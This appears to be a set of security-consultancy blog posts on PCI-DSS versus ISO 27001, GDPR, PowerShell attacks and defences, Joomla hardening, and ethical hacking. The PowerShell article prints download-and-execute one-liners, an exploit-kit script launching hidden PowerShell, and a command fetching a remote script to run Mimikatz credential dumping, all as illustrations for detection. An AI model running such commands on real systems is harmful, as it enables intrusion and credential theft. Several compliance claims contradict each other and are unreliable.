PCI-DSS VS ISO 27001 STANDARDS

PCI-DSS VS ISO 27001 STANDARDS

INTRODUCTION:

PCI-DSS and ISO 27001 are organized in sets of requirements for the cardholder data process. PCI-DSS has 12 sets of elements; there are about 250 controls based on securing credit card information. In ISO 27001, there are 11 sets of elements with 114 controls based on improving an ISMS, planning, running, implementing, monitoring. In this article, I’m going to discuss and examines the interoperability of PCI-DSS and ISO/IEC 27001 and also some of the pros and cons of the PCI-DSS and ISO/IEC 27001 standards.

PCI-DSS STANDARD:

PCI-DSS is a standard of data security for the credit card organizations, and it also applies only to companies that have the process, store, or transmit credit card data. Compliances with the standard are mandatory, though depending on the full range of cards processed. PCI-DSS is a card data security standard developed by a council consisting of Visa, MasterCard, American Express, Discover and JCB to protect the payment card and cardholder’s sensitive information processed by organizations.

ISO 27001 STANDARD:

ISO 27001 is a standard that includes seven main titles within the scope, such as organization, leadership, planning, support, operation, performance evaluation and improvement. It’s a worldwide recognition, which lays down the requirements for the establishment of an ISMS. It applies to any organization.

HIGH-LEVEL MAPPING OF PCI AND ISO27001
PCI-DSS REQUIREMENTS	ISO27001 CLAUSE
1. Install and maintain a firewall configuration to protect cardholder data.	A-12: Operations Security A-13: Communications Security
2. Do not use vendor-supplied defaults for system passwords and other security parameters.	A-12: Operations Security A-13: Communications Security
3. Protect stored cardholder data.	A-12: Operations Security A-13: Communications Security
4. Encrypt transmission of cardholder data across open, public networks.	A-14: System acquisition, development and maintenance.
5. Protect all systems against malware and regularly update antivirus software or programs.	A-14: System acquisition, development and maintenance.
6. Develop and maintain secure systems and applications.	A-14: System acquisition, development and maintenance.
7. Restrict access to cardholder data by business need to know	A-12: Operations Security A-13: Communications Security
8. Identify and authenticate access to system components.	A-12: Operations Security A-13: Communications Security
9. Restrict physical access to cardholder data.	A-11: Physical and environmental security
10. Track and monitor all access to network resources and cardholder data.	A-12: Operations Security A-13: Communications Security
11. Regularly test security systems and process.	A-14: System acquisition, development and maintenance A-6: Organization of Information security A-18: Compliance
12. Maintain a policy that addresses information security for all personnel.	A-5: Information security policies

COMPARISON OF PCI-DSS AND ISO 27001

It is recommended and required that both PCI-DSS and ISO27001 provides better solutions for risk management to Card data Industry and other organizations. The ISO 27001 is better than that of PCI-DSS standards as all the controls have been written at a high level. There are compliance levels in PCI-DSS to measure the maturity level of the company, but no compliance levels exist in ISO 27001. “The organizations have to determine the boundaries and applicability of the information security management system to establish its scope.” When comparing the scope of the two standards, scope selection in ISO/IEC 27001 depends on the company; however, the scope is exactly the credit cardholder information in PCI-DSS.

The controls in ISO 27001 are a suggestion to all the organizations, and also it is important to note that the controls in PCI-DSS standards are mandatory to payment and Cardholder data organizations.

Were the ISO 27001 contains more requirements than PCI-DSS, it is easier to comply with the ISO 27001 standard to the organizations.

According to the costs, establishing a partial (ISMS) audit and PDCA cycle which cost more to the organization as it a mandatory.

In an organization, the re certification auditing of ISO 27001 is performed in every three-year cycles, and internal scope auditing is conducted. There are also surveillance audits that are done at least once. In every PCI-DSS auditing, there are four network scanning audits and a Level 1 onsite audit.

MAPPING OF PCI-DSS AND ISO 27001
PARAMETER	ISO27001	PCI-DSS
Creator	ISO	PCI Council
Flexibility	High	Low
Scope	Depends on the company	Credit cardholders information
Controls applied	Flexible	Tight
Controls	High-Level	Low-Level
Compliance	Easy	Hard
Number of Controls	114	224
Auditing	Three-year cycles and a small-scope audit performed every year	Four network scanning audits and an onsite audit for level 1
Certification	Maybe given to all companies	Any companies that provide information security for critical paying processes
Compliance level	Does not exist	Exists

CONCLUSION:

PCI-DSS is a standard which handles Security for Cardholder data, whereas ISO 27001 is a specified to the Information Security and Management of the Organization. Mapping of PCI-DSS and ISO/IEC 27001 standards is optional information for managers who are assigned with ensuring to either standard in their organizations. It is recommended that PCI-DSS and ISO/IEC 27001 must be combined to give a better solution to risk mitigation and secure the organization of Cardholder data.

REFERENCE:

ISACA: https://www.isaca.org/

PCI-DSS: https://www.pcisecuritystandards.org/

ISO STANDARDS: https://www.iso.org/standards.html

AUTHOR

Dharmesh B

Security Engineer

Briskinfosec Technology and Consulting Pvt Ltd.,

https://www.linkedin.com/in/dharmeshbaskaran/

GDPR (GENERAL DATA PROTECTION REGULATION)

GDPR (GENERAL DATA PROTECTION REGULATION)

GDPR is the General Data Protection Regulation, adopted on April 27, 2016, and it will be valid from May 25, 2018. The GDPR replaces the EU’s Data Protection Directive, and this method is mainly used by European Union member’s to protect their Data.GDPR is primarily used to control the Data Breach, Data portability on EU member’s and followed by this other countries are started to develop GDPR for their Data Protection but this method can also be used to store the personal data, or other data’s comes under the national security organisations.

DATA’S PROTECT UNDER GDPR:

• Necessary Identity information such as name, address and ID numbers
• Web Data such as location. IP address and cookie data
• Health and generic Data
• Biometric Data
• Political Opinion etc.

GDPR OVERALL ARCHITECTURE:

Here the overall architecture diagram of the GDPR is described, and it starts from the significant executive team followed by legal advisories (adopted by a required organisation to cross-check the process) and to the IT and software development of mainly follows. GDPR under CIA triad is called Confidentiality, Integrity and Availability to protect their required data.The outcome of the products is checked by the Product Development Team.Finally, CISO and information security follows data privacy method to process the data in a secured manner and later it gets process by the data analyst and reaches the market that’s the overall process of the GDPR takes place and  refer the below link  to follow the GDPR checklist for better data protection

Reference Link: https://www.taylorwessing.com/globaldatahub/article-gdpr-audit-checklist.html

GDPR IN CYBERSECURITY:

Most of the Cybersecurity Organization’s falls under the network, endpoint protections and they also prevent us from the unauthorised access, threat management, and Vulnerability assessment etc. and cybersecurity in GDPR takes place by its method called data encryption, and data pseudonymization. Data encryption is the process that collects the whole data and changes it to the code and stores it in an encrypted way. unless you entered the critical value, you could not access the data and data pseudonymization is the method to add additional data subject to your old data ’s, data masking for better security or hashing can be done here to protect your data’s

Data breaches in cybersecurity organisations can be controlled by GDPR and So, consider investing in Cyber Essentials, a certification scheme backed by the British government to help organisations to prevent online attacks and hacking. This will assist with compliance with the GDPR, as well as improving the security of your company, customers and partners.

Sans generates a compliance report for GDPR which has to be followed by every organisation to secure your data, and by this, you can also trap the path of where mainly data breaches take place

https://www.sans.org/reading-room/whitepapers/analyst/preparing-compliance-general-data-protection-regulation-gdpr-technology-guide-security-practitioners-37667

DETECT AND BLOCK THREATS IN ATTACK CYCLE:

Security tools used in the cybersecurity organisation is used to test your existing vulnerability and risks, and here by using GDPR you can set some conditions to protect your data, and they are by the below techniques as follows.

FIRST LOOK AT EXPOSED PRIVILEGED ACCOUNTS:

When unconstrained delegation has been enabled it leads an attacker to connect to your machine and by this ticket granting ticket will be stored and it leads to compromise and control a domain controller

IDENTIFY CONTROLS THAT CAN BYPASS PRIVILEGED ACCOUNT SECURITY:

How many of you know that all your privileged accounts are safe? First, you have to check for every privileged account and secure the required account with some password or with some encryption methods, and by then it will be difficult for an attacker to bypass your account.

IDENTIFY AUTHENTICATION FIELDS TO YOUR ACCOUNT:

Check for the authentication field in your account that can be easily bypassed, e.g. Kerberos authentication or another authentication process. These flaws attacker can easily access your account and can gather any information’s and also set encryption for your account to protect your data, and by this, it can also secure you from unauthorised access.

GDPR IN PENETRATION TESTING:

The Overall Cybersecurity breach of 2017 was about 61% holds personal data on their customers electronically, and about 46% of all UK business identified at least one cybersecurity breach or attack in the past 12 months. GDPR in CREST certificate launched for network infrastructure, and here by this, an attack can process the cardholder environment.

https://information.rapid7.com/gdpr-toolkit-2.html

Refer the above link to process GDPR toolkit guides to follow for every organisation to prepare GDPR data protection

OVERALL STATISTICS OF GDPR:

C GDPR is the official course offered by the IT governance and want to get certified in GDPR refer the link as follows.

https://www.itgovernance.co.uk/shop/product/certified-eu-general-data-protection-regulation-practitioner-gdpr-training-course

CONCLUSION:

I’m Sure that we have discussed something about GDPR data protection and also about its significant role in cybersecurity and follow the GDPR checklist to secure data protection for your organisation “are you waiting for the better data protection and we are also waiting for it.”

Reference Links:

https://www.itgovernance.co.uk/shop/product/certified-eu-general-data-protection-regulation-practitioner-gdpr-training-course

https://information.rapid7.com/gdpr-toolkit-2.html

AUTHOR

RamKumar

Security Engineer

BriskInfosec Technolagy And consulting PVT LTD

follow me @https://www.linkedin.com/in/ram-kumar-3439b511a/

Two Phases of Power Shell—Offensive and Defensive

TWO PHASES OF POWER SHELL—OFFENSIVE AND DEFENSIVE

Power Shell is a command line shell and powerful scripting language used on Windows computers. It has been around for more than 10 years, is used mainly by system administrators, and will replace the default command prompt on Windows in the future.

Power Shell scripts are mostly used in legitimate administration work. They can also be used to protect computers from attacks and perform analysis. However, attackers are also working with Power Shell to create their own threats.

Windows power shell let you access data stores such as registry and certificate store and has a rich expression parser

VERSIONS OF POWER SHELL

WINDOWS VERSION                     DEFAULT POWER SHELL VERSION

WINDOWS 7 SP1                                                    2.0

WINDOWS 8                                                           3.0

WINDOWS 8.1                                                        4.0

WINDOWS 10                                                         5.0

WINDOWS SERVER 2008 R2                                    2.0

WINDOWS SERVER 2012                                          3.0

WINDOWS SERVER 2012 R2                                    4.0

WINDOWS SERVER 2016                                          5.1

Here is the documentation which is provided by the Microsoft

https://docs.microsoft.com/en-us/powershell/

Windows Power Shell provides some incredible features:

• cmdlets for doing some common system administration works such as manage registry, services, processes, and event logs using WMI
• Powerful object manipulation capabilities.
• Extensible interface
• Simple command-based navigation , let the users to navigate the registry and other data
• Consistent design.

POWER SHELL INTEGRATED SCRIPTING ENVIRONMENT:

windows power shell integrated scripting environment is a host application that enables you to write and test the scripts and modules in a graphical environment.

 WHY ARE ATTACKERS USING POWER SHELL?

1. It is installed by default on all new Windows computers.
2. It can execute payloads directly from memory, making it stealthy.
3. It generates few traces by default, making it difficult to find under forensic analysis.
4. It has remote access capabilities by default with encrypted traffic.
5. As a script, it is easy to obfuscate and difficult to detect with traditional security tools.
6. Defenders often overlook it when hardening their systems.
7. It can bypass application-white listing tools depending on the configuration.
8. Many gateway sandboxes do not handle script-based malware well.
9. It has a growing community with ready available scripts.
10. Many system administrators use and trust the framework, allowing Power Shell malware to blend in with regular administration work.

 SCRIPT EXECUTION

In the majority of instances, Power Shell scripts are used post-ex-exploitation as down loaders for additional payloads. While the Restricted execution policy prevents users from running Power-Shell scripts with the .ps1 extension, attackers can use other Extensions to allow their scripts to be executed.

In malicious PowerShell scripts, the most frequently used commands and functions on the command line are:

→  (New-Object System.Net.Webclient).DownloadString()

→   (New-Object System.Net.Webclient).DownloadFile()

→   -IEX / -Invoke-Expression

→   Start-Process

A typical command to download and execute a remote file looks

like the following:

powershell.exe (New-Object System.Net.WebClient). DownloadFile($URL,$LocalFileLocation);Start-Process $LocalFileLocation

 EXPLOITS

Exploit kits have also been experimenting with Power Shell.

Recently, Sundown exploit kits taking advantage of the Microsoft Internet

Explorer Scripting Engine Remote Memory Corruption Vulnerability (CVE-2016-0189). These attacks impact a flaw in the Jscript and VBScript engines to execute code in Internet Explorer. The following is an example of this script.

set shell=createobject(“Shell.Application”)

shell.ShellExecute “powershell.exe”, “-nop -w hidden -c if(IntPtr]::Size -eq 4){b=’powershell.exe’}else{$b=$env:windir+’\\\\syswow64\\\\

WindowsPowerShell\\\\v1.0\\\\powershell.exe’};

$s=New-Object System.Diagnostics.ProcessStartInfo;$s. FileName=$b;$s.Arguments=’-nop -w hidden -c Import-Module BitsTransfer;Start-BitsTransfer “ &nburl&”c:\\”&nbExe&”;Invoke-Item c:\\”&nbExe&”;’;$s.UseShellExecute=$false;$p=[System.Diagnostics.Process]::Start($s); “,””,”open”,0

 SECURING WINDOWS WORKSTATIONS FROM POWER SHELL ATTACKS

Running free and near-free Microsoft tools to improve windows security

• Launch Microsoft AppLocker to lock down what can run on the system
• Launch LAPS to manage local admin password

Disable windows legacy & typically unused features

• Disable WPAD
• Disable LLMNR
• Disable NetBIOS
• Make sure Widgets is disabled

Enable LSA protection

The Local Security Authority Server Service process validate user for local and remote sign-ins and enforces local security policies

Disabling net session enumeration

It helps to remove the capability for any user to enumerate net session info

This process can be done by following steps:

• Open Group Policy Management Console → right click on GPO(Group Policy object) this should contain new preference item and click Edit
• Expand the Preference folder present under console tree Computer Configuration and then expand Windows Settings folder
• Right click on Registry node → new → Registry Wizard
• Select reference workstation and then click next

• Browse to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\
• Select check box for SrvsvcSessioninfo from which you want to create registry preference
• Select check box foam a key only if you want to create a registry item for the key rather than for a value within the key
• Finally click finish

Disable net Bios

Go to properties in network devices → TCPIPV4 properties → Advanced → WINS → disable NetBIOS over TCP/IP

Disable unnecessary services that on Windows Server 2016 Desktop Experience (based on MS Security Blog recommendations)

Script can be found in following link given:

https://gist.github.com/xtratoast/dea055ec0e1a31d91161b6d431e90146

List of awesome Security Hardening techniques for Windows

https://github.com/PaulSec/awesome-windows-domain-hardening

DETECT AND MITIGATE POWER SHELL ATTACKS

Power Shell has become a major threat against windows platform. There are some way to mitigate and detect PowerShell attacks.

 USING APP LOCKER:

App Locker is present in windows 10 enterprise which provides a feature to white list the applications and scripts . When a user creates an App Locker policy they can apply to files, executable s, packaged apps and scripts

DETECT MALICIOUS POWER SHELL WITH SCRIPT BLOCK LOGGING:

In Power Shell version 5 has given new several way to find malicious Power Shell. One way to find using script block logging. This feature of logging is on by default with Power Shell version 5 and it gives a clear text logging of scripts which is executed by Power Shell.

Let’s say an attacker may try to hide their scripts

power shell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

The attacker can able to create the same command into encoded format using Out-Encoded Command

But the Power Shell event logs can able to see exactly what hacker run

DISABLING THE POWER SHELL FEATURE

if a user’s has no work with PowerShell , they can disable the Power Shell feature to secure from Power Shell script injection.

Way to disable the Power Shell feature        :

First removing all users from those folders. You can easily re-enable it by adding a user.

C:\Program Files (x86)\WindowsPowerShell
C:\Program Files\WindowsPowerShell
C:\Windows\System32\WindowsPowerShell
C:\Windows\SysWOW64\WindowsPowerShell

we definitely have to disable Windows Script Host (used for executing scripts via .JS, .JSE, .VBS, .VBE)
reg add “HKCU\Software\Microsoft\Windows Script Host\Settings” /v “Enabled” /t REG_DWORD /d “0” /f
reg add “HKLM\Software\Microsoft\Windows Script Host\Settings” /v “Enabled” /t REG_DWORD /d “0” /f

CONCLUSION

If every hackers turns Power Shell into deadly weapon, it’s difficult for user to mitigate. So users has to study about Power Shell and defend your system before attacker gets in. so be prepare and be secure. For effective audit for windows Microsoft environment get in touch with us.

Security Test Checklist for Joomla 3

Any website can be hacked. There is no set of security steps that you can take to keep your site 100% safe from hacking. Hackers may be malicious and actually steal information from your site. Other hackers may be pranksters that simply want to bring down your site and replace it with obnoxious graphics. Your site could be hacked and you don't even know it, the hackers are just monitoring the site to see if any goodies show up.
There are steps that you can take that increase the security of your site and make it safer. 

Basic security steps:

Only install official versions of Joomla.

Joomla installations are often included with third party templates. They offer a one step install where you install Joomla and their template is already set up as the default with all its custom appearance, functionality, components and plugins. Be very wary of these offers. Be sure that these are popular and highly regarded templates. If they don't offer the option of installing the template separately from the Joomla installation, steer clear. It could be that the Joomla version has core files that have been changed, causing conflicts with other extensions and upgrades. It could be that the plugins they have installed have vulnerabilities.

Never use 'admin' as a login name, never

Do not use admin or other obvious login names for logging into your Joomla site. If you have multiple contributors, do not use some standard way of creating login names, such as last name-first initial. It makes it too easy to figure out for others. You may think that the password will be enough, but having an obvious login name is a foot in the door.

Use well formed and unique passwords

Passwords should never be regular words. They should be a long combination of upper and lower case letters, numbers and a special character or two or three. The more characters in your password, the better.

Change your password from time to time

It is a good idea to change your login password on a regular basis.

Never give your password to others to get into the site

Even if you trust someone completely, it is better to create a user account that you can delete later. 

Backup, backup, backup

Backup your site's files and database regularly. Backup again before making major changes or installing any extension or template. Backup before running upgrades.

Keep your Joomla site up to date

Upgrading can be a bothersome task, but it is still better to take the steps to upgrade if a new version comes out. Newer versions will have fixed known security issues.

Check your Users list in User Manager

See if there are any registered users that should not be there. If there are, it may mean that your site has already been hacked.

Remove the login module if you don't use it

If you don't need people to login into the front end, remove or unpublish the login module. You can still login to the front end of your site by adding
index.php?option=com_users&view=login
to the end of your url if you need to.
The login form creates an open invitation to hackers. Keep in mind, a Joomla hacker will know how to get to the login form even without a login form displayed in a module or page. Removing the login form will only keep out the novice hacker.

Turn off user registration, if you don't need it

If you don't have a forum, allow comments or have some other reason for users to register, turn off Allow User Registration in the Global Configuration for Users Manager. If you do leave it on, never allow users to be any level higher than Registered unless you take manual steps to allow them more permissions.

Installing Extensions

Backup your site before installing extensions

Backup your entire site, folders and database, before installing any extension or running any upgrade.
Learn how to restore the backed up files and database in the case that your site is hacked.

Only use popular and highly rated extensions

Check extensions.joomla.org for the rating on any extension. Popular extensions will likely keep up with Joomla upgrades. Even good and popular extensions can introduce security loopholes. If an extension is not listed at extensions.joomla.org, it probably should not be installed.

Review the Joomla Vulnerable Extension list

You can see a list of extensions that have known issues at vel.joomla.org. Some extension providers will have fixed the problems and have a newer version, so watch what version is on the Vulnerability list.

Only use Open Source extensions

Extensions, whether components or plugins, can come open-source or encrypted. If they are open-source, the code is all visible as PHP, JavaScript or other readable script. If it is encoded, there is an added possibility that it has hidden security risks.

Install Security Extensions

Go to extensions.joomla.org and research Joomla extensions that increase site security, if added security is important for your site. Some of these extensions will have lockouts for someone entering a wrong password too many times, so be sure YOU don't try too many passwords.

Minimize the number of extensions you have installed

The more extensions you have installed, the more places for hackers to break into your site. You should also minimize the number of extensions for site speed and ease of upgrading.

Your Hosting Environment, Folders, Files and Database

Consider using an SSL server 

Sites that have an SSL certificate have https:// for the protocol. This protocol uses encryption to send data over the web. It is not 100% safe, but it is much safer than not having this functionality. This protocol does not protect your site itself from hackers, it simply encrypts the data being uploaded and downloaded. You should purchase an SSL certificate if you:

• Deal with any personal information about your registered users, even something like email addresses or phone number
• If your site deals with money transaction
• If you have forms that ask for personal information, such as event registration, forum registration, etc.

Use dedicated servers if possible

Most discount web hosting use shared hosting to keep the costs down. If you have a site with information that should not be public, consider the added costs of dedicated hosting. This way, your Joomla site is on its own server. As an added benefit, dedicated servers are also much faster than shared servers as far as downloading large web sites.

Protect your hosted folders and files

Watch the permission settings on your folders and files. Hackers can tell you have a Joomla site by simply looking at the source code and will know which files have security vulnerabilities. Folders should have permission level of 755 and files 644. Unfortunately if you assign even higher security permission levels, you can break your site as Joomla needs to access certain files and folders to work properly.

If you create new folders, add an index.html placeholder file

If you create folders in your Joomla installation via FTP or through your hosting control panel, you should include a placeholder index.html file in the folder along with the other files. This keeps hackers from being able to list the content of the folder in a browser window.

Keep your site's folders and files tidy

Remove any unused files or folders. Be sure to remove the installation folder after installing Joomla, don't just rename it.

Use separate login and password for hosting login, database login and Joomla login

Do not use the same login and password for your Joomla site as for your hosting account and/or database. This is like having the same set of keys for every item you own. If the thief has one set of keys, he can steal everything.

.htaccess security steps

You can add lines to your .htaccess file that will keep the casual hacker from accessing specific folders.

My Joomla site has already been hacked, what do I do?

Refer to this Joomla.org article:
https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced

What, When, Where, How Ethical Hacking?

What is Ethical Hacking?

             It is a way to hack computer and network with organization permission .By the help of Ethical Hacking you can find the point which has to give permission to enter unauthorized person (intruder). Ethical hacking is a proactive form of information security and is also known as penetration testing, intrusion testing and red teaming. Those who doing Ethical hacking is known as Ethical Hacker.  An Ethical Hacker is a computer and networking expert who systematically attempts to penetrate a computer system or network on behalf of its owners for the purpose of finding security vulnerabilities that a malicious hacker could potentially exploit.

                An ethical hacker is the complete opposite of a malicious hacker. An ethical hacker is an information security professional. This is a good guy. They use the same methods and techniques to test and bypass a system's defenses as their less-principled counterparts, but rather than taking advantage of any vulnerabilities found, they document them and provide actionable advice on how to fix them so the organization can improve its overall security.

 For hacking to be deemed ethical, the hacker must obey the following rules:

•    Expressed permission to probe the network and attempt to identify potential security risks.
•    Ethical Hacker should respect the individual's or company's privacy.
•    Ethical Hacker should close out your work, not leaving anything open for you or someone     else to exploit at a later time.
•   Ethical Hacker should let the software developer or hardware manufacturer know of any security vulnerabilities you locate in their software or hardware, if not already known by the company.

Purpose of Ethical Hacking: -

• Evaluate the security of a network or system's infrastructure
• Finding and attempting to exploit any vulnerabilities to determine whether unauthorized access or other malicious activities are possible

Whom they need Ethical Hacking: -

•  Any organization that has a network connected to the Internet or provides an online service should consider subjecting it to a penetration test.
• Banker 
•  Government agencies
•   Business Organization

Goal of the Ethical Hacking: -

•   Fighting against terrorism and national security breaches?

• How much effort, time and money are an organization is willing to expend to obtain adequate protections?
• Having adequate preventative measures in place to prevent security breaches?
• What can intruder do with the information capture?
• Having a computer system that prevents malicious hackers from gaining access
• What is organization to protect?
• Are your developers are concerned about security?
• Is your customer and clients data's are exposed to public or not?
• Do you have better brand reputation?

What are the benefits to organization if they have Ethical Hacker: -

•  Organizations under constant Cyber-Attack
•  To build a computer system that prevents hackers’ access and safeguard system and information from malicious attack
•  To manage adequate preventive measures in order to avoid security breaches
•   To safeguard user or customer information available in business transactions and visits
•   To test networks at regular intervals
•   To create security awareness at all levels in a business

How to become a professional and Qualified Ethical Hacker?

•  Know about the different types of hackers, such as White Hat, Grey Hat and Black Hat hackers.
• Seek out job opportunities for ethical hackers.
• Analyse the basic requirements to become an ethical hacker.
•  Decide the area where you would prefer to work primarily with hardware or software.
• Evaluate your strengths and interests and gain some programming knowledge such as C, Python or Java.
• Learn the UNIX operating system as it is regarded as the original operating system built by hackers.
• Take a professional course.
• Do the experiments on your own to know the actual happening of a situation.
•  Start experimenting with hardware and software to learn how to take control of the situations and how to prevent a computer from getting hacked.
• Read on your own to know what are the areas where you need to improve and what need to be learned to refine your focus. 
• Stay connected to the hacker community by sharing technical information and ideas.

 Disadvantages of Ethical Hacking: -

• The ethical hacker using the knowledge they gain to do malicious hacking activities
• Allowing the company’s financial and banking details to be seen
• The possibility that the ethical hacker will send and/or place malicious code, viruses, malware and other destructive and harmful things on a computer system
• Massive security breach

Should we trust Ethical Hacking Certificate courses?

• Hacking is the skill which cannot learnt with in a certification. But can understand what is hacking.
•  Self learning is a right option to become good ethical hacker
•  International certifications are concerned to create brand instead of certification
•  Learn hacking via Open source tool is advisable
• Ethical hacking boundary should depends on your cyber countries security law.

Conclusions: -

                Hacking may be defined as legal or illegal, ethical or unethical. The media’s portrayal of hacking has boosted one version of discourse. Ethical Hacking offer unparalleled insight into an organization’s security effectiveness as well as a road map for enhancing security.  By hiring Ethical Hacker to simulate a cyber-attack, vulnerabilities can be identified and corrected before they are exploited by a hacker or malicious insider.  It is suggested that this section echo portions of the overall test as well as support the growth of the client security posture.